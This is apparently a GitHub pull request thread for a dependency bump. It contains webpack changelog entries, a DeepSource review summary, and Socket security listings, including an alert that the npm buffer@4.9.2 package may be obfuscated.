• Keep render module order consistent
• Prevent inlining modules that have this exports
• Removed unused timeout attribute of script tag
• Supported UMD chunk format to work in web workers
• Improved CommonJs bundle to ES module library
• Use es-lexer for mjs files for build dependencies
• Fixed support __non_webpack_require__ for ES modules
• Properly handle external modules for CSS
• AssetsByChunkName included assets from chunk.auxiliaryFiles
• Use createRequire only when output is ES module and target is node
• Typescript types

Performance Improvements

• Avoid extra calls for snapshot
• A avoid extra jobs for build dependencies
• Move import attributes to own dependencies

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[deepsource-io]

DeepSource Code Review

We reviewed changes in 242a5a8...fa5481a on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

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PR Report Card

Overall Grade

Security   Reliability   Complexity   Hygiene

Code Review Summary

Analyzer	Status	Updated (UTC)	Details
JavaScript		Mar 26, 2026 9:01p.m.	Review ↗
Shell		Mar 26, 2026 9:01p.m.	Review ↗

[socket-security]

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff	Package	Supply Chain Security	Vulnerability	Quality	Maintenance	License
	@​nx/​esbuild@​21.5.3
	@​storm-software/​tsdoc@​0.13.134
	defu@​6.1.4
	date-fns@​4.1.0
	@​nx/​jest@​21.5.3
	@​nx/​devkit@​21.5.3
	@​nx/​js@​21.5.3
	@​nuxt/​schema@​4.1.2
	@​nuxt/​kit@​4.1.2

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[socket-security]

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

Action	Severity	Alert  (click "▶" to expand/collapse)
Warn		Obfuscated code: npm buffer is 96.0% likely obfuscated Confidence: 0.96 Location: Package overview From: pnpm-lock.yaml → npm/buffer@4.9.2 ℹ Read more on: This package | This alert | What is obfuscated code? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev. Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/buffer@4.9.2. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

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